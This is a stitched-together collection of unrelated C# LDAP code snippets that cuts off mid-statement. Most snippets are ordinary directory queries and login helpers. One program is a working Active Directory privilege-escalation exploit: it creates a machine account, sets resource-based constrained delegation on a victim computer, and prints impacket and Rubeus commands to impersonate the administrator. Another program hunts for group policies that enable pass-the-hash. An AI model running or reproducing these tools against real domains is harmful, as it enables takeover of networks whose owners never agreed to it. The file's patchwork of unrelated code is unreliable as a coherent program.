Console.Error.WriteLine("Error type = {0}, message = {1}, stack = {2}", e.GetType(), e.Message, e.StackTrace); System.Environment.ExitCode = 2; } }
private User queryLdap(string email) { string ldapFilter = "(objectClass=person)"; string ldapTarget = DN.Replace("{0}", email); User user = new User(); network = new NetworkCredential(ADMIN, ADMIN_PASS); ldapId = new LdapDirectoryIdentifier(HOST, PORT); using (LdapConnection connection = new LdapConnection(ldapId, network, AuthType.Basic)) { try { connection.SessionOptions.SecureSocketLayer = false; connection.SessionOptions.ProtocolVersion = 3; connection.Bind(); SearchRequest searchRequest = new SearchRequest(ldapTarget, ldapFilter, SearchScope.Subtree, "*"); SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest); SearchResultEntry entry = searchResponse.Entries[0]; user.email = email; user.userId = entry.Attributes["employeeNumber"][0].ToString(); user.userName = entry.Attributes["cn"][0].ToString(); user.lastName = entry.Attributes["sn"][0].ToString(); user.userGroup = entry.Attributes["departmentNumber"][0].ToString(); connection.Dispose(); return user; } catch (LdapException ex) { throw new BusinessException(ex.Message); } catch (Exception e) { throw new PlatformException(e.Message); } } }
/// <summary> /// read msDS-ClaimValueType of a claim from DC /// </summary> /// <param name="dn">Distinguished Name of claim</param> /// <param name="server">DC name or address</param> /// <returns>CLAIM_TYPE</returns> CLAIM_TYPE getClaimValueType(string dn, string server) { using (System.DirectoryServices.Protocols.LdapConnection con = new System.DirectoryServices.Protocols.LdapConnection(server)) { System.DirectoryServices.Protocols.SearchRequest req = new System.DirectoryServices.Protocols.SearchRequest( dn, "(objectclass=*)", System.DirectoryServices.Protocols.SearchScope.Base, new string[] { ConstValue.msDSClaimValueType }); System.DirectoryServices.Protocols.SearchResponse res = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(req); object o = res.Entries[0].Attributes[ConstValue.msDSClaimValueType][0]; return((CLAIM_TYPE)Enum.Parse(typeof(CLAIM_TYPE), o.ToString())); } }
static void Main(string[] args) { if (args.Length < 2) { Usage(); return; } var arguments = new Dictionary <string, string>(); foreach (string argument in args) { int idx = argument.IndexOf('='); if (idx > 0) { arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); } } if (!arguments.ContainsKey("domain") || !arguments.ContainsKey("dc") || !arguments.ContainsKey("tm")) { Usage(); return; } String DomainController = arguments["dc"]; String Domain = arguments["domain"]; String new_MachineAccount = ""; String new_MachineAccount_password = ""; //添加的机器账户 if (arguments.ContainsKey("ma")) { new_MachineAccount = arguments["ma"]; } else { new_MachineAccount = RandomString(8); } //机器账户密码 if (arguments.ContainsKey("ma")) { new_MachineAccount_password = arguments["mp"]; } else { new_MachineAccount_password = RandomString(10); } String victimcomputer = arguments["tm"];; //需要进行提权的机器 String machine_account = new_MachineAccount; String sam_account = ""; String DistinguishedName = ""; if (machine_account.EndsWith("$")) { sam_account = machine_account; machine_account = machine_account.Substring(0, machine_account.Length - 1); } else { sam_account = machine_account + "$"; } String distinguished_name = DistinguishedName; String victim_distinguished_name = DistinguishedName; String[] DC_array = null; distinguished_name = "CN=" + machine_account + ",CN=Computers"; victim_distinguished_name = "CN=" + victimcomputer + ",CN=Computers"; DC_array = Domain.Split('.'); foreach (String DC in DC_array) { distinguished_name += ",DC=" + DC; victim_distinguished_name += ",DC=" + DC; } Console.WriteLine(victim_distinguished_name); Console.WriteLine("[+] Elevate permissions on " + victimcomputer); Console.WriteLine("[+] Domain = " + Domain); Console.WriteLine("[+] Domain Controller = " + DomainController); //Console.WriteLine("[+] Distinguished Name = " + distinguished_name); try{ //连接ldap System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389); //NetworkCredential nc = new NetworkCredential(username, password); //使用凭据登录 System.DirectoryServices.Protocols.LdapConnection connection = null; //connection = new System.DirectoryServices.Protocols.LdapConnection(identifier, nc); connection = new System.DirectoryServices.Protocols.LdapConnection(identifier); connection.SessionOptions.Sealing = true; connection.SessionOptions.Signing = true; connection.Bind(); //通过ldap找计算机 System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry(Domain); myldapConnection.Path = "LDAP://" + victim_distinguished_name; myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure; System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection); search.Filter = "(CN=" + victimcomputer + ")"; string[] requiredProperties = new string[] { "samaccountname" }; foreach (String property in requiredProperties) { search.PropertiesToLoad.Add(property); } System.DirectoryServices.SearchResult result = null; try { result = search.FindOne(); } catch (System.Exception ex) { Console.WriteLine("[!] " + ex.Message + "\n[-] Exiting..."); return; } //添加机器并设置资源约束委派 if (result != null) { try { var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] { new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account + "." + Domain), new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account), new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"), new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"")), new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"), new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/" + machine_account + "." + Domain, "RestrictedKrbHost/" + machine_account + "." + Domain, "HOST/" + machine_account, "RestrictedKrbHost/" + machine_account) }); //添加机器账户 connection.SendRequest(request); Console.WriteLine("[+] New SAMAccountName = " + sam_account); Console.WriteLine("[+] Machine account: " + machine_account + " Password: "******" added"); } catch (System.Exception ex) { Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)"); Console.WriteLine("[-] Exception: " + ex.Message); return; } // 获取新计算机对象的SID var new_request = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name=" + machine_account + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null); var new_response = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request); SecurityIdentifier sid = null; foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries) { try { sid = new SecurityIdentifier(entry.Attributes["objectsid"][0] as byte[], 0); Console.Out.WriteLine("[+] " + new_MachineAccount + " SID : " + sid.Value); } catch { Console.WriteLine("[!] It was not possible to retrieve the SID.\nExiting..."); return; } } //设置资源约束委派 String sec_descriptor = @"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid.Value + ")"; RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor); byte[] buffer = new byte[sd.BinaryLength]; sd.GetBinaryForm(buffer, 0); //测试sddl转换结果 //RawSecurityDescriptor test_back = new RawSecurityDescriptor (buffer, 0); //Console.WriteLine(test_back.GetSddlForm(AccessControlSections.All)); // 添加evilpc的sid到msds-allowedtoactonbehalfofotheridentity中 try { var change_request = new System.DirectoryServices.Protocols.ModifyRequest(); change_request.DistinguishedName = victim_distinguished_name; DirectoryAttributeModification modifymsDS = new DirectoryAttributeModification(); modifymsDS.Operation = DirectoryAttributeOperation.Replace; modifymsDS.Name = "msDS-AllowedToActOnBehalfOfOtherIdentity"; modifymsDS.Add(buffer); change_request.Modifications.Add(modifymsDS); connection.SendRequest(change_request); Console.WriteLine("[+] Exploit successfully!\n"); //打印利用方式 Console.WriteLine("[+] Use impacket to get priv!\n"); Console.WriteLine("\ngetST.py -dc-ip {0} {1}/{2}$:{3} -spn cifs/{4}.{5} -impersonate administrator", DomainController, Domain, machine_account, new_MachineAccount_password, victimcomputer, Domain); Console.WriteLine("\nexport KRB5CCNAME=administrator.ccache"); Console.WriteLine("\npsexec.py {0}/administrator@{1}.{2} -k -no-pass", Domain, victimcomputer, Domain); Console.WriteLine("\n\n[+] Use Rubeus.exe to get priv!\n"); Console.WriteLine("\nRubeus.exe hash /user:{0} /password:{1} /domain:{2}", machine_account, new_MachineAccount_password, Domain); Console.WriteLine("\nRubeus.exe s4u /user:{0} /rc4:rc4_hmac /impersonateuser:administrator /msdsspn:cifs/{1}.{2} /ptt /dc:{3}", machine_account, victimcomputer, Domain, DomainController); Console.WriteLine("\npsexec.exe \\\\{0}.{1} cmd ", victimcomputer, Domain); Console.WriteLine("\n[+] Done.."); } catch (System.Exception ex) { Console.WriteLine("[!] Error: " + ex.Message + " " + ex.InnerException); Console.WriteLine("[!] Failed..."); return; } } } catch (System.Exception ex) { Console.WriteLine("[!] " + ex.Message + "\n[-] Exiting..."); return; } }
public TgLdapResponce ValidateLDAPUser(string username, string pwd) { TgLdapResponce tgLdapResponse = new TgLdapResponce(); if (pwd.Length == 0) { tgLdapResponse.ExceptionMessage = "Please specify a password"; tgLdapResponse.IsErrored = true; tgLdapResponse.IsLDAPAuthenticated = false; return tgLdapResponse; } using (LdapConnection con = new LdapConnection(new LdapDirectoryIdentifier(DParms.LDAPDomain, DParms.LDAPDomainPort))) { con.SessionOptions.SecureSocketLayer = DParms.LDAPUseSSL; if (DParms.LDAPUseSSLCert) { con.SessionOptions.VerifyServerCertificate = new VerifyServerCertificateCallback(ServerCallback); } NetworkCredential theNetworkCredentials = new NetworkCredential(); theNetworkCredentials.UserName = DParms.LDAPUseNetworkAccount ? DParms.LDAPNetworkCredentialsUsername : username; theNetworkCredentials.Password = DParms.LDAPUseNetworkAccount ? Standpoint.Core.Classes.Encryption.DecryptString(DParms.LDAPNetworkCredentialsPassword) : pwd; con.Credential = theNetworkCredentials; //authTypes = Anonymous, Basic, Negotiate, Ntlm, Digest, Sicily, Dpa, Msn, External, Kerberos con.AuthType = (AuthType)Enum.Parse(typeof(AuthType), DParms.LDAPAuthType); //protocolVersions = 2, 3 con.SessionOptions.ProtocolVersion = DParms.LDAPProtocolVersion; //ReferralChasingTypes = None, Subordinate, External, All con.SessionOptions.ReferralChasing = (ReferralChasingOptions)Enum.Parse(typeof(ReferralChasingOptions), DParms.LDAPReferralChasing); try { con.Bind(); } catch (LdapException ex) { string errorMessage = "LDAP Exception: " + ex.Message; ThinkgateEventSource.Log.ApplicationError(MethodBase.GetCurrentMethod().DeclaringType.ToString() + "->" + MethodBase.GetCurrentMethod().Name, errorMessage, ex.ToString()); tgLdapResponse.ExceptionMessage = errorMessage; tgLdapResponse.IsErrored = true; tgLdapResponse.IsLDAPAuthenticated = false; return tgLdapResponse; } catch (DirectoryOperationException ex) { string errorMessage = "Directory Operation Exception: " + ex.Message; ThinkgateEventSource.Log.ApplicationError(MethodBase.GetCurrentMethod().DeclaringType.ToString() + "->" + MethodBase.GetCurrentMethod().Name, errorMessage, ex.ToString()); tgLdapResponse.ExceptionMessage = errorMessage; tgLdapResponse.IsErrored = true; tgLdapResponse.IsLDAPAuthenticated = false; return tgLdapResponse; } try { SearchRequest request = new SearchRequest(DParms.LDAPRootDN, String.Format(DParms.LDAPDirectoryFilter, username), SearchScope.Subtree); SearchResponse response = (SearchResponse)con.SendRequest(request); if (response.Entries.Count == 0) { string errorMessage = "No such username."; ThinkgateEventSource.Log.ApplicationWarning(MethodBase.GetCurrentMethod().DeclaringType.ToString() + "->" + MethodBase.GetCurrentMethod().Name, errorMessage); tgLdapResponse.ExceptionMessage = errorMessage; tgLdapResponse.IsErrored = true; tgLdapResponse.IsLDAPAuthenticated = false; return tgLdapResponse; } else { SearchResultEntry entry = response.Entries[0]; con.Credential = new NetworkCredential(con.AuthType == AuthType.Basic ? entry.DistinguishedName : username, pwd); con.Bind(); // If we get this far without an exception, the username and // password are valid. We can now use a SearchRequest to search // for group membership etc, but that's out of scope for this // example. } } catch (DirectoryOperationException ex) { string errorMessage = "Invalid root DN / search filter<br/>" + ex.Response + "<br/>" + ex.ToString(); ThinkgateEventSource.Log.ApplicationError(MethodBase.GetCurrentMethod().DeclaringType.ToString() + "->" + MethodBase.GetCurrentMethod().Name, errorMessage, ex.ToString()); tgLdapResponse.ExceptionMessage = "Directory Operation Exception: " + ex.Message; tgLdapResponse.IsErrored = true; tgLdapResponse.IsLDAPAuthenticated = false; return tgLdapResponse; } catch (LdapException ex) { ThinkgateEventSource.Log.ApplicationError(MethodBase.GetCurrentMethod().DeclaringType.ToString() + "->" + MethodBase.GetCurrentMethod().Name, "Invalid password", ex.ToString()); tgLdapResponse.ExceptionMessage = ex.Message; tgLdapResponse.IsErrored = true; tgLdapResponse.IsLDAPAuthenticated = false; return tgLdapResponse; } catch (Exception ex) { ThinkgateEventSource.Log.ApplicationError(MethodBase.GetCurrentMethod().DeclaringType.ToString() + "->" + MethodBase.GetCurrentMethod().Name, ex.Message, ex.ToString()); tgLdapResponse.ExceptionMessage = ex.Message; tgLdapResponse.IsErrored = true; tgLdapResponse.IsLDAPAuthenticated = false; return tgLdapResponse; } } tgLdapResponse.ExceptionMessage = null; tgLdapResponse.IsErrored = false; tgLdapResponse.IsLDAPAuthenticated = true; return tgLdapResponse; }
// ----- CONSTRUCTORS ----- /// <summary> /// Establishes a connection with an LDAP server that can be used to query or modify its contents. /// <param name="servers">A list of servers by fully qualified domain name, host name, ip address, or null.</param> /// <param name="portNumber">The port number on the LDAP server that is listening for requests.</param> /// <param name="authType">(Optional) The type of authentication to use when connecting with the server. By default this is set to Anonymous (i.e. no credentials required).</param> /// <param name="userName">(Optional) The user name to use when connecting to the LDAP server.</param> /// <param name="password">(Optional) The password to use with the user name provided to connect to the LDAP server.</param> /// <param name="domainName">(Optional) The domain or computer name associated with the user credentials provided.</param> /// </summary> public LDAP(List<string> servers, int portNumber, AuthType authType = AuthType.Anonymous, string userName = null, SecureString password = null, string domainName = null) { if (servers != null && servers.Count > 0 && portNumber > 0 && !string.IsNullOrWhiteSpace(userName) && password != null) { try { // Setup the server information for the connection. LdapDirectoryIdentifier directoryIdentifier = new LdapDirectoryIdentifier(servers.ToArray(), portNumber, false, false); // Setup the credential to use when accessing the server. (Or null for Anonymous.) NetworkCredential credential = null; if (authType != AuthType.Anonymous) { credential = new NetworkCredential(userName, password); if (!string.IsNullOrWhiteSpace(domainName)) { // A domain was provided. Use it when creating the credential. credential.Domain = domainName; } } // Create the connection to the server(s). try { connection = new LdapConnection(directoryIdentifier, credential, authType); // Gather information about the LDAP server(s) from the RootDSE entry. SearchResponse rootDSESearchResponse = (SearchResponse)connection.SendRequest(new SearchRequest(null, "(objectClass=*)", SearchScope.Base)); if (rootDSESearchResponse != null && rootDSESearchResponse.ResultCode == ResultCode.Success) { // Save the rootDSE for access by API clients. rootDSE = rootDSESearchResponse.Entries[0]; SearchResultAttributeCollection attributes = rootDSE.Attributes; // Check that LDAP V3 is supported. if (attributes["supportedLDAPVersion"].GetValues(typeof(string)).Contains("3")) { // Get all of the naming contexts this server(s) supports. namingContexts = (string[])attributes["namingContexts"].GetValues(typeof(string)); // Set the base DN for searching to the first naming context in the list. searchBaseDN = namingContexts[0]; // Get any alternate servers can complete our requests should this one stop responding. // If there are not other servers to contact this attribute is not available. if (attributes.Contains("altServer")) { alternateServers = (string[])attributes["altServer"].GetValues(typeof(string)); } } else { throw new NotSupportedException("The directory server does not support LDAP v3."); } } // Bind to the ldap server with the connection credentials if supplied. if (connection.AuthType != AuthType.Anonymous) { connection.Bind(); } } catch (System.ComponentModel.InvalidEnumArgumentException) { // Thrown when authType is out of range. throw new ArgumentOutOfRangeException("authType"); } } catch (ArgumentException) { throw new ArgumentException("Entries in the servers parameter can not have spaces."); } } else { if (servers == null || servers.Count == 0) { throw new ArgumentNullException("servers", "The list of servers can not be null or empty."); } if (portNumber <= 0) { throw new ArgumentOutOfRangeException("portNumber", "A port number must be positive."); } } }
/** * Handles actually making an LDAP search on SDS. */ private List<Dictionary<string, List<string>>> doSearch(LdapConnection l, SearchRequest sr) { SearchResponse dr = null; try { dr = (SearchResponse)l.SendRequest(sr); } catch (Exception e) { EventLog logger = new EventLog("Application"); logger.Source = LOGSOURCE; StringBuilder er = new StringBuilder("Query request failed: "); er.Append(sr.Filter); er.Append(" : "); er.Append(e.ToString()); try { logger.WriteEntry(er.ToString(), EventLogEntryType.Error); } catch (Exception ew) { Console.Write(er.ToString()); } return null; } if (dr.ResultCode != ResultCode.Success) { EventLog logger = new EventLog("Application"); logger.Source = LOGSOURCE; StringBuilder er = new StringBuilder("Query failed: "); er.Append(sr.Filter); er.Append(" Result code: "); er.Append(dr.ResultCode); logger.WriteEntry(er.ToString(), EventLogEntryType.Error); return null; } if (dr.Entries.Count == 0) { EventLog logger = new EventLog("Application"); logger.Source = LOGSOURCE; StringBuilder er = new StringBuilder("Query returned no data: "); er.Append(sr.Filter); logger.WriteEntry(er.ToString(), EventLogEntryType.Warning); return null; } // Each "Entry" contains an object with a set of attributes. Add a "dictionary" to the list for // each entry. Add a string+list to the dictionary for each attribute, with each value of that // attribute going into the list. // List<Dictionary<string, List<string>>> results = new List<Dictionary<string, List<string>>>(); for (int i = 0; i < dr.Entries.Count; i++) { SearchResultEntry sre = dr.Entries[i]; Dictionary<string,List<string>> entry = new Dictionary<string,List<string>>(); results.Add(entry); SearchResultAttributeCollection srac = sre.Attributes; foreach (DictionaryEntry da in srac) { List<string> attrVals = new List<string>(); DirectoryAttribute attr = (DirectoryAttribute)da.Value; for (int j = 0; j < attr.Count; j++) { attrVals.Add((string)attr[j]); } entry.Add(attr.Name.ToLower(), attrVals); } } return results; }
public static uint[] GetResourceGroupIds(string domainName, NetworkCredential cred, uint resourceGroupCount, Group[] resourceGroups) { LdapConnection connection = new LdapConnection(domainName); connection.Credential = cred; uint[] rid = new uint[resourceGroupCount]; for (int i = 0; i < resourceGroupCount; i++) { string dn = GetDomainDnFromDomainName(domainName); string targetOu = dn; string filter = "cn=" + resourceGroups[i].GroupName; SearchRequest searchRequest = new SearchRequest(targetOu, filter, SearchScope.Subtree, "objectSid"); SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest); if (searchResponse.Entries.Count > 1) { throw new Exception("There are more than one entries with the same resourceGroupName."); } SearchResultAttributeCollection groupAttributes = searchResponse.Entries[0].Attributes; string[] tmp = GetobjectSid(groupAttributes).Split('-'); rid[i] = Convert.ToUInt32(tmp[tmp.Length - 1]); } return rid; }
public static KERB_SID_AND_ATTRIBUTES[] GetResourceGroupExtraSids(string domainName, NetworkCredential cred, uint resourceGroupCount, Group[] resourceGroups) { LdapConnection connection = new LdapConnection(domainName); connection.Credential = cred; KERB_SID_AND_ATTRIBUTES[] resourceGroupExtraSids = new KERB_SID_AND_ATTRIBUTES[resourceGroupCount]; for (int i = 0; i < resourceGroupCount; i++) { string dn = GetDomainDnFromDomainName(domainName); string targetOu = dn; string filter = "cn=" + resourceGroups[i].GroupName; SearchRequest searchRequest = new SearchRequest(targetOu, filter, SearchScope.Subtree, "objectSid"); SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest); if (searchResponse.Entries.Count > 1) { throw new Exception("There are more than one entries with the same resourceGroupName."); } SearchResultAttributeCollection groupAttributes = searchResponse.Entries[0].Attributes; string[] tmp = GetobjectSid(groupAttributes).Split('-'); _RPC_SID resourceGroupSid = new _RPC_SID(); resourceGroupSid.Revision = 0x01; resourceGroupSid.IdentifierAuthority = new _RPC_SID_IDENTIFIER_AUTHORITY(); resourceGroupSid.IdentifierAuthority.Value = new byte[] { 0, 0, 0, 0, 0, 5 }; resourceGroupSid.SubAuthorityCount = Convert.ToByte(tmp.Length - 3); resourceGroupSid.SubAuthority = new uint[tmp.Length - 3]; for (int j = 3; j < tmp.Length; j++) { resourceGroupSid.SubAuthority[j - 3] = Convert.ToUInt32(tmp[j]); } resourceGroupExtraSids[i] = new KERB_SID_AND_ATTRIBUTES(); resourceGroupExtraSids[i].Attributes = Attributes_Values.Mandatory | Attributes_Values.EnabledByDefault | Attributes_Values.Enabled | Attributes_Values.Resource; resourceGroupExtraSids[i].SID = new _RPC_SID[1]; resourceGroupExtraSids[i].SID[0] = resourceGroupSid; } return resourceGroupExtraSids; }
static void Main(string[] args) { string domain = ""; string domainController = ""; string searchScope = ""; string searchBase = ""; bool verbose = false; var Options = new Options(); if (CommandLineParser.Default.ParseArguments(args, Options)) { if (Options.help == true) { PrintHelp(); return; } if (!string.IsNullOrEmpty(Options.domain)) { domain = Options.domain; } if (string.IsNullOrEmpty(Options.searchScope)) { searchScope = "SubTree"; } else { searchScope = Options.searchScope; } if (!string.IsNullOrEmpty(Options.domainController)) { domainController = Options.domainController; } if (Options.verbose) { verbose = true; } if (!string.IsNullOrEmpty(Options.searchBase)) { searchBase = Options.searchBase; } } var listEnableLUA = new List <string>(); var listFilterAdministratorToken = new List <string>(); var listLocalAccountTokenFilterPolicy = new List <string>(); var listSeDenyNetworkLogonRight = new List <string>(); var listSeDenyRemoteInteractiveLogonRight = new List <string>(); var computerPolicyEnableLUA = new List <string>(); var computerPolicyFilterAdministratorToken = new List <string>(); var computerPolicyLocalAccountTokenFilterPolicy = new List <string>(); var computerPolicySeDenyNetworkLogonRight = new List <string>(); var computerPolicySeDenyRemoteInteractiveLogonRight = new List <string>(); //discover current domain System.DirectoryServices.ActiveDirectory.Domain current_domain = null; if (string.IsNullOrEmpty(domain)) { try { current_domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain(); domain = current_domain.Name; } catch { Console.WriteLine("[!] Cannot enumerate domain.\n"); return; } } else { DirectoryContext domainContext = new DirectoryContext(DirectoryContextType.Domain, domain); try { current_domain = System.DirectoryServices.ActiveDirectory.Domain.GetDomain(domainContext); } catch { Console.WriteLine("\n[!] The specified domain does not exist or cannot be contacted. Exiting...\n"); return; } } if (string.IsNullOrEmpty(Options.domainController)) { domainController = current_domain.FindDomainController().Name; } else { var ldapId = new LdapDirectoryIdentifier(Options.domainController); using (var testConnection = new LdapConnection(ldapId)) { try { testConnection.Bind(); } catch { Console.WriteLine("\n[!] The specified domain controller cannot be contacted. Exiting...\n"); return; } } } domain = domain.ToLower(); String[] DC_array = null; String distinguished_name = null; distinguished_name = "CN=Policies,CN=System"; DC_array = domain.Split('.'); foreach (String DC in DC_array) { distinguished_name += ",DC=" + DC; } System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(domainController, 389); System.DirectoryServices.Protocols.LdapConnection connection = null; connection = new System.DirectoryServices.Protocols.LdapConnection(identifier); connection.SessionOptions.Sealing = true; connection.SessionOptions.Signing = true; try { connection.Bind(); } catch { Console.WriteLine("The domain controller cannot be contacted. Exiting...\n"); return; } SearchRequest requestGUID = null; if (string.Equals(searchScope, "SubTree")) { requestGUID = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "cn=*", System.DirectoryServices.Protocols.SearchScope.Subtree, null); } else if (string.Equals(searchScope, "OneLevel")) { requestGUID = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "cn=*", System.DirectoryServices.Protocols.SearchScope.OneLevel, null); } else if (string.Equals(searchScope, "Base")) { requestGUID = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "cn=*", System.DirectoryServices.Protocols.SearchScope.Base, null); } SearchResponse responseGUID = null; try { responseGUID = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(requestGUID); } catch { Console.WriteLine("\n[!] Search scope is not valid. Exiting...\n"); return; } if (!string.IsNullOrEmpty(Options.searchBase)) { string adPath = "LDAP://" + domain + searchBase; if (!DirectoryEntry.Exists(adPath)) { Console.WriteLine("\n[!] Search base {0} is not valid. Exiting...\n", adPath); return; } } Console.WriteLine("\n[-] Domain Controller is: {0}\n[-] Domain is: {1}\n", domainController, domain); foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in responseGUID.Entries) { try { var requestAttributes = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "cn=" + entry.Attributes["cn"][0].ToString(), System.DirectoryServices.Protocols.SearchScope.OneLevel, null); var responseAttributes = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(requestAttributes); foreach (System.DirectoryServices.Protocols.SearchResultEntry attribute in responseAttributes.Entries) { try { string displayName = entry.Attributes["displayName"][0].ToString(); string name = entry.Attributes["name"][0].ToString(); string gpcfilesyspath = entry.Attributes["gpcfilesyspath"][0].ToString(); string uncPathGptTmpl = gpcfilesyspath + @"\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf"; bool enableLUA = CheckEnableLUA(uncPathGptTmpl); if (enableLUA) { if (verbose) { Console.WriteLine("[+] The following GPO enables pass-the-hash by disabling EnableLUA: {0} {1}", displayName, name); } listEnableLUA.Add(name); } bool FilterAdministratorToken = CheckFilterAdministratorToken(uncPathGptTmpl); if (FilterAdministratorToken) { if (verbose) { Console.WriteLine("[+] The following GPO exempts the RID 500 account from UAC protection by disabling FilterAdministratorToken: {0} {1}", displayName, name); } listFilterAdministratorToken.Add(name); } string uncPathRegistryXML = gpcfilesyspath + @"\MACHINE\Preferences\Registry\Registry.xml"; bool LocalAccountTokenFilterPolicy = CheckLocalAccountTokenFilterPolicy(uncPathRegistryXML); if (LocalAccountTokenFilterPolicy) { if (verbose) { Console.WriteLine("[+] The following GPO enables pass-the-hash by enabling LocalAccountTokenFilterPolicy: {0} {1}", displayName, name); } listLocalAccountTokenFilterPolicy.Add(name); } bool SeDenyNetworkLogonRight = CheckSeDenyNetworkLogonRight(uncPathGptTmpl); if (SeDenyNetworkLogonRight) { if (verbose) { Console.WriteLine("[+] The following GPO includes the built-in Administrators group within the SeDenyNetworkLogonRight: {0} {1}", displayName, name); } listSeDenyNetworkLogonRight.Add(name); } bool SeDenyRemoteInteractiveLogonRight = CheckSeDenyRemoteInteractiveLogonRight(uncPathGptTmpl); if (SeDenyRemoteInteractiveLogonRight) { if (verbose) { Console.WriteLine("[+] The following GPO includes the built-in Administrators group within the SeDenyRemoteInteractiveLogonRight: {0} {1}\n", displayName, name); } listSeDenyRemoteInteractiveLogonRight.Add(name); } } catch { Console.WriteLine("[!] It was not possible to retrieve the displayname, name and gpcfilesypath...\n"); return; } } } catch { Console.WriteLine("[!] It was not possible to retrieve GPO Policies...\n"); return; } } Console.Write("\n[+] EnableLUA: \t\t\t\t"); foreach (var guid in listEnableLUA) { DirectoryEntry startingPoint = null; string filterGPLink = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))"; if (string.IsNullOrEmpty(searchBase)) { startingPoint = new DirectoryEntry("LDAP://" + domain); } else { startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase); } DirectorySearcher searcher = new DirectorySearcher(startingPoint); searcher.Filter = filterGPLink; foreach (SearchResult OU in searcher.FindAll()) { DirectoryEntry startingPoint1 = new DirectoryEntry(OU.Path); DirectorySearcher searcherOU = new DirectorySearcher(startingPoint1); searcherOU.Filter = "(&(samAccountType=805306369))"; foreach (SearchResult computerObject in searcherOU.FindAll()) { DirectoryEntry computer = computerObject.GetDirectoryEntry(); if (!(computerPolicyEnableLUA.Contains(computer.Properties["dNSHostName"].Value.ToString()))) { Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString()); } computerPolicyEnableLUA.Add(computer.Properties["dNSHostName"].Value.ToString()); } } } //Console.Write("\n"); Console.Write("\n[+] FilterAdministratorToken: \t\t"); foreach (var guid in listFilterAdministratorToken) { DirectoryEntry startingPoint = null; string filterGPLink = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))"; if (string.IsNullOrEmpty(searchBase)) { startingPoint = new DirectoryEntry("LDAP://" + domain); } else { startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase); } DirectorySearcher searcher = new DirectorySearcher(startingPoint); searcher.Filter = filterGPLink; foreach (SearchResult OU in searcher.FindAll()) { DirectoryEntry startingPoint1 = new DirectoryEntry(OU.Path); DirectorySearcher searcherOU = new DirectorySearcher(startingPoint1); searcherOU.Filter = "(&(samAccountType=805306369))"; foreach (SearchResult computerObject in searcherOU.FindAll()) { DirectoryEntry computer = computerObject.GetDirectoryEntry(); if (!(computerPolicyFilterAdministratorToken.Contains(computer.Properties["dNSHostName"].Value.ToString()))) { Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString()); } computerPolicyFilterAdministratorToken.Add(computer.Properties["dNSHostName"].Value.ToString()); } } } Console.Write("\n"); Console.Write("[+] LocalAccountTokenFilterPolicy: \t"); foreach (var guid in listLocalAccountTokenFilterPolicy) { DirectoryEntry startingPoint = null; string filterGPLink = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))"; if (string.IsNullOrEmpty(searchBase)) { startingPoint = new DirectoryEntry("LDAP://" + domain); } else { startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase); } DirectorySearcher searcher = new DirectorySearcher(startingPoint); searcher.Filter = filterGPLink; foreach (SearchResult OU in searcher.FindAll()) { DirectoryEntry startingPoint1 = new DirectoryEntry(OU.Path); DirectorySearcher searcherOU = new DirectorySearcher(startingPoint1); searcherOU.Filter = "(&(samAccountType=805306369))"; foreach (SearchResult computerObject in searcherOU.FindAll()) { DirectoryEntry computer = computerObject.GetDirectoryEntry(); if (!(computerPolicyLocalAccountTokenFilterPolicy.Contains(computer.Properties["dNSHostName"].Value.ToString()))) { Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString()); } computerPolicyLocalAccountTokenFilterPolicy.Add(computer.Properties["dNSHostName"].Value.ToString()); } } } Console.Write("\n"); Console.Write("[+] SeDenyNetworkLogonRight: \t\t"); foreach (var guid in listSeDenyNetworkLogonRight) { DirectoryEntry startingPoint = null; string filterGPLink = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))"; if (string.IsNullOrEmpty(searchBase)) { startingPoint = new DirectoryEntry("LDAP://" + domain); } else { startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase); } DirectorySearcher searcher = new 